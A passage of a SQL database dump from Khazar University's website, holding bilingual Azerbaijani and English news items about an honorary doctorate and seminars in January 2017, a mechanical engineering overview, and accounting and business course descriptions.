jurnallarda nəşrlərinin sayını\r\nartırmasına töhfə verməkdir.</p>'),(357,222,'az','Fənlər','Fənlər',''),(3121,1844,'az','Xəzər Universitetində Əli Polada fəxri doktor adı verilməsi münasibətilə mərasim keçirildi','2017-ci il yanvarın 27-də Xəzər Universitetinin Mərmər zalında tanınmış iş adamı, maarifçi, xeyriyyəçi və naşir Əl Polada Xəzər Universitetinin Fəxri doktoru adı verilməsi münasibətilə mərasim keçirildi...','<p>2017-ci il yanvarın 27-də Xəzər Universitetinin Mərmər\r\nzalında tanınmış iş adamı, maarifçi, xeyriyyəçi və naşir Əl Polada Xəzər\r\nUniversitetinin Fəxri doktoru adı verilməsi münasibətilə mərasim keçirildi. Mərasimdə\r\nuniversitetin rəhbərliyi və əməkdaşları, görkəmli elm və sənət adamları iştirak\r\nedirdilər.</p>\r\n<p>&nbsp;Mərasimi\r\nuniversitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri prodessor\r\nHamlet İsaxanlı açaraq, Əli Poladın həyat və fəaliyyəti, ədəbi və elmi fəaliyyəti\r\nhaqqında qısa məlumat verdi. Sonra Əli Polada həsr olunmuş film nümayiş\r\netdirildi.</p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs Əli\r\nPolada fəxri doktor adı verilməsi haqqında universitetin Elmi Şurasınnı qərarını\r\nelan etdi və professor Hamlet İsaxanlı fəxri doktor diplomunu ona təqdim etdi.\r\nƏli Polada fəxri doktor mantiyası geyindirildi və ona gül dəstələri təqdim\r\nolundu.</p>\r\n<p>AMEA akademik Ziya Bünyadov adına Şərqşünaslıq\r\nİnstitutunun aparıcı elmi işçisi Solmaz Rüstəmova - Tohidi Əli Poladın həyat və\r\nfəaliyyəti haqqında məruzə etdi.</p><p>\r\nSonda Əli Polad çıxış edərək, ona göstərilən\r\netimada görə Xəzər Universitetinin rəhbərliyinə təşəkkürünü bildirdi.</p>'),(3122,1844,'en','Ali Polad Awarded Honorary Doctorate from Khazar University','On January 27, 2017, a ceremony  dedicated to conferring an honorary doctorate on Ali Polad, well-known businessman, educationalist, and philanthropist, was held in the Marble Hall of Khazar University...','<p>On January 27, 2017, a ceremony &nbsp;dedicated to conferring an honorary doctorate on Ali Polad, well-known businessman, educationalist, and philanthropist, was held in the Marble Hall of Khazar University.&nbsp;&nbsp;The ceremony was attneded by the university administration, staff members as well as peoples of art and science. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the event; he spoke about Ali Polad’s life, creative and other activities. Then a short film about Ali Polad was shown to the ceremony participants.</p><p>President Hassan Niknafs announced&nbsp;the Khazar University Scientific Council’s decision&nbsp;&nbsp;to confer an honorary doctorate on Ali Polad. Prof. Hamlet Isaxanli presented his diploma. He was given a regalia and bouquets.</p><p>Solmaz Rustamova-Tohidi, Senior Researcher of the Ziya Bunyadov Oriental Studies Institute of Azerbaijan National Academy of Sciences,&nbsp;made a speech about Ali Polad’s life and creative activities.</p><p>At the end of the ceremony, Ali Polad made a speech in which he expressed his gratitude to the university administration.</p>'),(3123,1845,'az','Xəzər Universitetində Əli Polada fəxri doktor adı verilməsi münasibətilə mərasim keçirildi','2017-ci il yanvarın 27-də Xəzər Universitetinin Mərmər zalında tanınmış iş adamı, maarifçi, xeyriyyəçi və naşir Əl Polada Xəzər Universitetinin Fəxri doktoru adı verilməsi münasibətilə mərasim keçirildi...','<p>2017-ci il yanvarın 27-də Xəzər Universitetinin Mərmər\r\nzalında tanınmış iş adamı, maarifçi, xeyriyyəçi və naşir Əl Polada Xəzər\r\nUniversitetinin Fəxri doktoru adı verilməsi münasibətilə mərasim keçirildi. Mərasimdə\r\nuniversitetin rəhbərliyi və əməkdaşları, görkəmli elm və sənət adamları iştirak\r\nedirdilər.</p>\r\n<p>&nbsp;Mərasimi\r\nuniversitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri prodessor\r\nHamlet İsaxanlı açaraq, Əli Poladın həyat və fəaliyyəti, ədəbi və elmi fəaliyyəti\r\nhaqqında qısa məlumat verdi. Sonra Əli Polada həsr olunmuş film nümayiş\r\netdirildi.</p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs Əli\r\nPolada fəxri doktor adı verilməsi haqqında universitetin Elmi Şurasınnı qərarını\r\nelan etdi və professor Hamlet İsaxanlı fəxri doktor diplomunu ona təqdim etdi.\r\nƏli Polada fəxri doktor mantiyası geyindirildi və ona gül dəstələri təqdim\r\nolundu.</p>\r\n<p>AMEA akademik Ziya Bünyadov adına Şərqşünaslıq\r\nİnstitutunun aparıcı elmi işçisi Solmaz Rüstəmova - Tohidi Əli Poladın həyat və\r\nfəaliyyəti haqqında məruzə etdi.</p><p>\r\nSonda Əli Polad çıxış edərək, ona göstərilən\r\netimada görə Xəzər Universitetinin rəhbərliyinə təşəkkürünü bildirdi.</p>'),(3124,1845,'en','Ali Polad Awarded Honorary Doctorate from Khazar University','On January 27, 2017, a ceremony  dedicated to conferring an honorary doctorate on Ali Polad, well-known businessman, educationalist, and philanthropist, was held in the Marble Hall of Khazar University...','<p>On January 27, 2017, a ceremony &nbsp;dedicated to conferring an honorary doctorate on Ali Polad, well-known businessman, educationalist, and philanthropist, was held in the Marble Hall of Khazar University.&nbsp;&nbsp;The ceremony was attneded by the university administration, staff members as well as peoples of art and science. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the event; he spoke about Ali Polad’s life, creative and other activities. Then a short film about Ali Polad was shown to the ceremony participants.</p><p>President Hassan Niknafs announced&nbsp;the Khazar University Scientific Council’s decision&nbsp;&nbsp;to confer an honorary doctorate on Ali Polad. Prof. Hamlet Isaxanli presented his diploma. He was given a regalia and bouquets.</p><p>Solmaz Rustamova-Tohidi, Senior Researcher of the Ziya Bunyadov Oriental Studies Institute of Azerbaijan National Academy of Sciences,&nbsp;made a speech about Ali Polad’s life and creative activities.</p><p>At the end of the ceremony, Ali Polad made a speech in which he expressed his gratitude to the university administration.</p>'),(3125,1846,'az','Xəzər Universitetində Əli Polada fəxri doktor adı verilməsi münasibətilə mərasim keçirildi','2017-ci il yanvarın 27-də Xəzər Universitetinin Mərmər zalında tanınmış iş adamı, maarifçi, xeyriyyəçi və naşir Əl Polada Xəzər Universitetinin Fəxri doktoru adı verilməsi münasibətilə mərasim keçirildi...','<p>2017-ci il yanvarın 27-də Xəzər Universitetinin Mərmər\r\nzalında tanınmış iş adamı, maarifçi, xeyriyyəçi və naşir Əl Polada Xəzər\r\nUniversitetinin Fəxri doktoru adı verilməsi münasibətilə mərasim keçirildi. Mərasimdə\r\nuniversitetin rəhbərliyi və əməkdaşları, görkəmli elm və sənət adamları iştirak\r\nedirdilər.</p>\r\n<p>&nbsp;Mərasimi\r\nuniversitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri prodessor\r\nHamlet İsaxanlı açaraq, Əli Poladın həyat və fəaliyyəti, ədəbi və elmi fəaliyyəti\r\nhaqqında qısa məlumat verdi. Sonra Əli Polada həsr olunmuş film nümayiş\r\netdirildi.</p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs Əli\r\nPolada fəxri doktor adı verilməsi haqqında universitetin Elmi Şurasınnı qərarını\r\nelan etdi və professor Hamlet İsaxanlı fəxri doktor diplomunu ona təqdim etdi.\r\nƏli Polada fəxri doktor mantiyası geyindirildi və ona gül dəstələri təqdim\r\nolundu.</p>\r\n<p>AMEA akademik Ziya Bünyadov adına Şərqşünaslıq\r\nİnstitutunun aparıcı elmi işçisi Solmaz Rüstəmova - Tohidi Əli Poladın həyat və\r\nfəaliyyəti haqqında məruzə etdi.</p><p>\r\nSonda Əli Polad çıxış edərək, ona göstərilən\r\netimada görə Xəzər Universitetinin rəhbərliyinə təşəkkürünü bildirdi.</p>'),(3126,1846,'en','Ali Polad Awarded Honorary Doctorate from Khazar University','On January 27, 2017, a ceremony  dedicated to conferring an honorary doctorate on Ali Polad, well-known businessman, educationalist, and philanthropist, for his extensive educational...','<p>On January 27, 2017, a ceremony\r\n&nbsp;dedicated to conferring an honorary doctorate on Ali Polad, well-known\r\nbusinessman, educationalist, and philanthropist, for his extensive educational\r\nactivities, charity work and tireless efforts to promote Azerbaijani culture\r\nwas held in the Marble Hall of Khazar University.&nbsp;&nbsp;The ceremony was\r\nattended by the university administration, staff members as well as peoples of\r\nart and science. Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, opened the event; he spoke\r\nabout Ali Polad’s life, creative and other activities. Then a short film about\r\nAli Polad was shown to the ceremony participants.</p>\r\n<p>President Hassan Niknafs\r\nannounced&nbsp;that the Academic Council of the\r\nuniversity had made a decision to award an Honorary Doctorate Degree on behalf\r\nof Khazar University to Ali Polad. Prof. Hamlet Isaxanli presented his\r\ndiploma. He was given a regalia and bouquets. </p>\r\n<p>Solmaz Rustamova-Tohidi, Senior\r\nResearcher of the Ziya Bunyadov Oriental Studies Institute of Azerbaijan\r\nNational Academy of Sciences,&nbsp;made a speech about Ali Polad’s life and\r\ncreative activities.</p>\r\n<p>At the end of the ceremony, Ali Polad\r\nmade a speech in which he expressed his gratitude to the university\r\nadministration.</p>'),(3155,1862,'az','Xəzər Universitetində məktəb direktorları ilə görüş-seminar keçirildi','2017-ci il yanvarın 31-də Xəzər Universitetinin “Mərmər” zalında Bakı şəhəri üzrə məktəb direktorları ilə görüş-seminar keçirildi. Tədbirin aparıcısı universitetin Təhsil fakültəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il yanvarın 31-də Xəzər Universitetinin “Mərmər” zalında Bakı şəhəri\r\nüzrə məktəb direktorları ilə görüş-seminar keçirildi. Görüş Xəzər Universitetinin \"Potensial Məktəb Direktorları\" layihəsində məzun olmuş məktəb direktorları üçün nəzərdə tutulmuşdu.Tədbirin aparıcısı\r\nuniversitetin Təhsil fakültəsinin dekanı Elza Səmədova qonaqları salamladıqdan\r\nsonra “Uğur yolum” adlı video çarx nümayiş olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı çıxış edərək, məktəb-universitet əməkdaşlığından danışdı və öz\r\ntəcrübələrini, xatirələrini bölüşdü. Sonra söz Bakı Şəhər Təhsil İdarəsinin\r\nmüdiri Məhəbbət Vəliyevaya verildi. Daha sonra E.Səmədova Xəzər Universiteti\r\nhaqqında ətraflı təqdimatla çıxış etdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversiteti kamera orkestrinin çıxışından sonra tədbir maraqlı müzakirələrlə\r\ndavam etdi.&nbsp;</p>'),(3156,1862,'en','Khazar University Holds Meeting-Seminar for School Directors','On January 31, 2017,  a meeting-seminar for former participants of the “Potential School Dierctors” project was held at Khazar University.  Dr. Elza Samadova, Dean of the School...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On January 31, 2017,&nbsp; a\r\nmeeting-seminar for former participants of the “Potential School Dierctors” project\r\nwas held at Khazar University.&nbsp; Dr. Elza Samadova, Dean of the School of\r\nEducation, opened the ceremony, and a short film entitled “My way to success”\r\nwas shown.</p>\r\n<p>Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, made a speech and spoke about school-university cooperation, shared\r\nhis experience and memories. Mahabbat Valiyeva, Head of the Education Bureau of\r\nthe city of Baku, took the floor. Her speech was followed by Elza Samadova’s thorough\r\npresentation about Khazar University.</p>\r\n<p>The event also included music&nbsp;with the participation of Khazar University’s Chamber Orchestra. The\r\nmeeting-seminar ended with discussions about school-university\r\ncooperation.&nbsp;</p>'),(3157,1863,'az','“Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar keçirildi','2017-ci il yanvarın 28-də Xəzər Universitetində “Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar keçirildi...','<p>2017-ci il yanvarın 28-də Xəzər\r\nUniversitetində “Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar\r\nkeçirildi.</p>\r\n<p>Seminarın əsas mərüzəçisi karyera\r\nplanlama sahəsində 25 ildən çox təcrübəyə sahib olan, Azərbaycana Amerikanın Azərbaycandakı\r\nsəfirliyinin “Alumni Max” proqramı çərçivəsində gəlmiş Douglas Reichenberger\r\nidi.</p>\r\n<p>Cənab Reichenberger tədbir\r\niştirakçılarına karyera planlama, cari əmək bazarındakı çətinliklər və çətin\r\niqtisadi zamanlarda karyera qazanma yolları haqqında məlumat verdi.</p>\r\n<p>D.Reichenberger mühazirəsinin\r\nsonunda iştirakçıların suallarını cavablandırdı.</p>'),(3158,1847,'az','Mexanika mühəndisliyi','Mexanika mühəndisliyi','<p style=\"text-align:justify\">Mexanika mühəndisliyi, kiçik hissələrdən və cihazlardan\r\n(məslən, mikroölçülü sensorlar, mürəkkəb-şırnaqlı çap qurğusu ucluqları) böyük\r\nsistemlərə qədər (məsələn, kosmik gəmi, maşın alətləri) hər şeyi layihələndirən və istehsal edən bir\r\nsahədir. Mühəndis-mexanikin rolu hər hansı məhsulu ideyadan reallığa\r\nçevirməkdir. Bunu həyata keçirmək üçün birçox bacarıq tələb olunur. Bu səbəbdən\r\nmühəndis-mexanik xüsusi bacarılar və bilik əldə etməlidir. Bir məhsulu\r\nfunksional, estetik və məruz qalacağı qüvvələrə və termal mühitə davamlı\r\nşəkildə layihələndirmək, onun istehsalının ən yaxşı yolunu müəyyən etmək və\r\nqüsursuz işləməsindən əmin olmaq üçün mühəndis-mexaniklərə, bu məhsulun, onun\r\nhissələrinin yaxud alt sistemlərinin qarşılaşacağı qüvvələri və termal mühiti\r\nbaşa düşmələri vacibdir. Bəlkə də, mühəndis-mexaniklərin xüsusi malik olduqları\r\nbacarıq hərəkətli obyektlərin və sistemlərin təhlil və layihələndirilməsi\r\nqabiliyyətidir.</p>\r\n<p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/engineering/images/1m.jpg\" style=\"width:730px;height:424px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Bu bacarıqlar\r\npraktik olaraq istehsal olunan hər bir şey üçün vacib olduğundan, mexanika\r\nmühəndisliyi ola bilsin ki, ən geniş mühəndislik sahəsidir. Mühəndis-mexaniklər\r\naşağıdakılar da daxil olmaqla sənayenin hər bir sahəsində mühün rol oynayırlar:\r\n</p><ul><li>avtomobil sənayesi (maşın şassilərindən onun hər\r\nbir alt sisteminə qədər – mühərrik, ötürücü, sensorlar);</li><li>aerokosmik sənayesi (təyyarələr, aviasiya\r\nmühərrikləri, təyyarə və kosmik gəmilərin idarəetmə sistemləri);</li><li>avtomatika (robotlar, məlumat və təsvir əldə etmə,\r\ntanınma, idarəetmə);</li><li>istehsalat (emal, dəzgahlar, prototipin\r\nyaradılması,&nbsp;mikroölçülü cihaz və\r\nkomponentlərin hazırlanması);</li><li>biotexnologiya\r\n(implantlar, protezlər, əczaçılıq sənayesi üçün maye sistemləri);</li><li>kompüterlər və\r\nelektronika (disk oxuyanlar, çap qurğuları, soyuducu sistemlər,\r\nyarımkeçirici&nbsp;cihazlar);</li><li>mikroelektromexaniki\r\nsistemlər, yaxud MEMS (sensorlar, aktuatorlar, mikrogüc generatorları);</li><li>enerjinin çevrilməsi\r\n(qaz turbinləri, külək turbinləri, günəş enerjisi, yanacaq elementləri);</li><li>ətraf mühitin\r\nvəziyətinə nəzarət (İVK, kondisioner, soyuducu, kompressor).\r\n</li></ul>\r\n<p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/engineering/images/2m.jpg\" style=\"width:730px;height:634px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/engineering/images/5m.jpg\" style=\"width:730px;height:265px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Sadə şəkildə desək, mexanika mühəndisliyi insan bədəni\r\ndə daxil olmaqla hərəkət edən hər bir şeylə məşğul olur. Mühəndis-mexaniklər,\r\nmexaniki sistemləri başa düşmək üçün materiallar, bərk cismlər və maye mexanikası, termodinamika, istiliyin ötürülməsi, idarəetmə, nəzarət-ölçü\r\ncihazları, layihələndirmə və istehsalat haqda öyrənirlər. Mexanika mühəndisliyinin\r\nixtisas fənlərinə biomexanika, qığırdaq toxuması mühəndisliyi, enerji çevrilməsi, materialların lazer vasitəsi\r\nilə işlənməsi,&nbsp;yandırılma, MEMS,\r\nmikromaye cihazları, çatlama mexanikası, nanomexanika, mexanizmlər,\r\nmikroelektrik gücün yaradılması, tribologiya (sürtünmə və aşınma) və\r\nvibrasiyalar daxildir. Amerika\r\nmühəndis-mexaniklər cəmiyyəti (AMMC) hazırki dövrdə qabaqcıl enerji sistemləri və\r\naerokosik mühəndislikdən bərk tullantı mühəndisliyi və toxuculuq mühəndisliyinə\r\nkimi 36 texniki şöbəni siyahıya almışdır. Mexanika mühəndisliyi sahəsinin\r\ngenişliyi tələbələrə yuxarıda sadalanan bəzi sənaye sahələrinə aid olmayan müxtəlif\r\nkaryera imkanları verir.\r\nMəzun olduqdan sonra özləri\r\nüçün hansı konkret yolu təsəvvür etmələrindən asılı olmayaraq, aldıqları təhsil\r\nonları həyəcan verici məhsul yaxud sistem layihələndirməyə icazə verən kreativ\r\ndüşüncə, layihələrinin hədəflərinə nail olmaq üçün analitik vasitələr, bütün məhdudiyyətləri\r\naşma bacarığı və bir sistemin layihələndirilməsi, satışı və istehsalı üçün gərəkli\r\nolan komanda işi ilə təmin edəcək. Bu dəyərli bacarıqlar həmçinin tibb, hüquq, konsaltinq,\r\nidarəetmə, bankçılıq, maliyyə və s. sahələrdə karyera imkanı verir. Bu sahənin\r\ntətbiqi elmlər və riyazi yönləri ilə maraqlananlar üçün&nbsp;mexanika mühəndisiliyində elmi dərəcə, elmi-tədqiqat\r\nvə müəllimlik üzrə karyera imkanı yarada bilər.    <br></p>'),(358,222,'en','Course description','Courses and Syllabi','<div><p><strong>ACC 210: Principles of Accounting&nbsp;(6 credits)</strong></p><p><strong>\r\nPrerequisite: BSA 101</strong></p>\r\n<p style=\"text-align:justify\">This is an introductory course in accounting. It covers\r\nsuch topics as accounting and business environment, translating business\r\nactivities into accounting information, accounting cycle, merchandising\r\noperations, inventory, internal control and cash, receivables, liabilities,\r\nassets and intangibles, time value of money and financial statements, using\r\ninformation from accounting system for investment and management decisions.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 310: Financial Accounting (6 credits)<br>\r\nPrerequisite: ACC 210</strong></p>\r\n<p style=\"text-align:justify\">The course introduces financial accounting concepts and\r\nprinciples. It is designed to be a combination of both accounting and finance\r\nthat will lay a strong background for further studies in financial subjects.\r\nThe course covers the following topics: accounting principles and concepts;\r\nbalance sheets, accrual vs. cash basis of income measurement; income statement;\r\njournals and ledger recording; trial balance, accrual and deferral adjustments,\r\nthe &nbsp;accounting cycle, sales, cash and accounts receivable; estimating\r\nuncorrectable accounts, valuing inventories, ratio and trend analysis, present\r\nand future value concepts; liabilities, statements of cash flows, stockholders’\r\nequity, dividends and treasury stock.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 350: Accounting Information Systems (6 credits)<br>\r\nPrerequisite: ACC 210, BSA 210</strong></p>\r\n<p style=\"text-align:justify\">This course introduces the foundations of accounting\r\ninformation systems, provides knowledge and skills required by accountants as\r\nusers, managers, designers, and evaluators of information systems. The topics\r\ncovered include choosing, extracting, and analyzing relevant information to\r\nsolve business problems, documenting and modeling business processes,\r\ndeveloping information systems, and designing and evaluating internal controls\r\nin information systems, analyzing and resolving contemporary issues in\r\naccounting information systems.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 410: Managerial Accounting&nbsp;(6 credits)<br>\r\nPrerequisite: FIN 310, ACC 210</strong></p>\r\n<p>The course covers approaches to providing accounting and\r\nprocessing information for effective management of for-profit and nonprofit\r\norganizations.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 415: Statutory Accounting (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 210</strong></p>\r\n<p>The course covers the study of statutory accounts and\r\nreporting requirements; domestic auditing standards; and domestic oil and gas\r\naccounting requirements.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 420: Financial Reporting (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 210, FIN 310</strong></p>\r\n<p>The course covers analysis of the International Financial\r\nReporting Standards, focusing on revenue and expense recognition and the\r\nmeasurement of assets and liabilities; concepts and theories underlying\r\nfinancial statements; introduction to international reporting standards;\r\nbalance sheet; income statement, statement of changes in equity; cash flow\r\nstatement; cash and receivables; inventory; revenue and expense recognition;\r\nproperty, plant and equipment; intangible assets.</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>ACC 430: International Accounting (6 credits)<br>\r\nPrerequisite: ACC 210</strong></p>\r\n<p>Securities regulation and trading; various national\r\naccounting standards; the harmonization of accounting standards\r\ninternationally; accounting for the translation of transactions and foreign\r\nsubsidiary financial statements.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 440: Cost Accounting (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ACC 210, FIN 310</strong></p>\r\n<p>Students study cost accounting, accounts and investments;\r\ninventory accounts; manufacturing accounts; and material use variance accounts.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 450: Auditing (6 credits)<br>\r\nPrerequisite: ACC 310</strong></p>\r\n<p>The course develops student’s knowledge of auditing\r\nservices. Topics include the role of auditing services in society, audit\r\nprograms planning, design and implementation.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 490: Taxation&nbsp;(6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ACC 310</strong></p>\r\n<p>This course introduces students to the tax concepts\r\napplicable to sole proprietorships, partnerships, corporations, estates, and\r\ntrusts. Emphasis is placed on differences between tax and financial accounting\r\nconcepts. In addition, students are exposed to accounting periods and methods,\r\ndeferred compensation, tax planning, ethical practices, and tax research.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 800: Accounting for Financial Decisions (6 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course is designed for graduate students. The course\r\nwill focus on the financial decision makers. The purpose of this course is to\r\nintroduce the «basic concepts» of accounting and finance. With knowledge in\r\naccounting and the basic elements of finance, one can understand how specific\r\ntechniques and decision rules can be used. The course covers the following\r\ntopics: basic accounting concepts, revenue and monetary systems, cost of sales\r\nand inventory, non-monetary assets, sources of capital, and strategic\r\ninvestment decisions.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 801: Financial Accounting (6 credits)&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisites: None</strong></p>\r\n<p>The course is designed for the graduate students majoring\r\nin Economics and Business Administration as a required course. This course will\r\nfocus on the user of accounting information. The purpose of this course is to\r\nintroduce the «basic concepts» of accounting. With knowledge in accounting, one\r\ncan understand how specific techniques and decision rules can be used from\r\naccounting records. The course covers the following topics: analyzing\r\ntransactions; the matching concept and adjusting process; completing the\r\naccounting cycle; accounting for different types of businesses; accounting\r\nsystems, internal controls and cash; receivables; inventories; fixed assets and\r\nintangible assets; current liabilities; corporations: organization, capital\r\nstock transactions and dividends; corporations: income and taxes, stockholders’\r\nequity and investments in stocks; bonds payable and investments into bonds;\r\nstatement of cash flows; and financial statement analysis.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 810: Auditing (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ACC 800 or ACC 801</strong></p>\r\n<p>The course provides knowledge important for the students\r\nmajoring in Accounting and Finance. It includes planning audit, designing audit\r\nprograms with internal control, audit evidence, audit work papers, cash and\r\nmarketable securities, accounts receivable, inventories, property, plant and\r\nequipment, accounts payable and other liabilities, debt and equity capital\r\nlosses and auditor’s reports. Casework is practiced.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 840: Management and Cost Accounting (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 800 or ACC 801</strong></p>\r\n<p>Use of accounting information for internal planning and\r\ncontrol purposes; role of accounting in decisions concerning resource\r\nallocation, cost and performance analysis, evaluation of business units using\r\ndata obtained from the accounting system. Use of cost information for\r\noperational and strategic control; application of statistical tools and\r\ndecision models to accounting data for the purpose of facilitating managerial\r\ncontrol; identifying cost behavior with respect to managerial decision;\r\nmeasuring and controlling the consumption of resources by a firms products; analyzing\r\nproduct cost systems in diverse production and non-manufacturing settings.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 860: Accounting Information Systems&nbsp;(6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 800 or ACC 801</strong></p>\r\n<p>This course introduces the foundations of accounting\r\ninformation systems, provides knowledge and skills required by accountants as\r\nusers, managers, designers, and evaluators of information systems. The topics\r\ncovered include choosing, extracting, and analyzing relevant information to\r\nsolve business problems, documenting and modeling business processes,\r\ndeveloping information systems, and designing and evaluating internal controls\r\nin information systems, analyzing and resolving contemporary issues in\r\naccounting information systems. This course focuses on the knowledge and skills\r\nrequired providing assurance for information systems for the purpose of\r\nmanaging business risk.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 870: International Accounting Practices (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 800 or ACC 801</strong></p>\r\n<p>This course is designed to study and resolve accounting\r\nproblems involved in international operations. It encompasses the comparative\r\nstudy of different national accounting systems, the problems caused by the\r\nexisting differences in practices for international operations, and\r\norganizations which have emerged to reconcile differences and to handle\r\ninternational accounting problems.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ACC 880: Advanced Accounting Topics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p>\r\n<p>This course is specialized in accounting topics including\r\naccounting and reporting for business combinations, international accounting\r\nand foreign currency issues, partnership accounting and other topics.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 101: Introduction to Business&nbsp;(6 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>A basic background for the various fields of business; a\r\ngeneral survey of the entire field of economics, business and management in the\r\nfree enterprise system; concepts of business and management functions,\r\norganizational considerations, and decision-making processes. Explores areas of\r\nspecialization in the business world; exposure to business in small-medium-large\r\norganizations.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 205: Computer Applications for Economics and Business\r\n(6 credits)</strong></p>\r\n<p><strong>Prerequisite: CMS 101</strong></p>\r\n<p>This is a practical course on how to use a computer,\r\nespecially the personal computer, as an economic and business problem-solving\r\ntool. The course is based on tools provided by Microsoft Office and plenty of\r\nexamples of economic and business problems.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 210: Computer Applications in Business&nbsp;(6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: CMS 101</strong></p>\r\n<p>This is a practical course on how to use a computer,\r\nespecially the personal computer, as a business problem-solving tool. The\r\ncourse is based on tools provided by Microsoft Office and examples from\r\naccounting, finance and management courses.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 215: Statistical Methods for Economics and Business 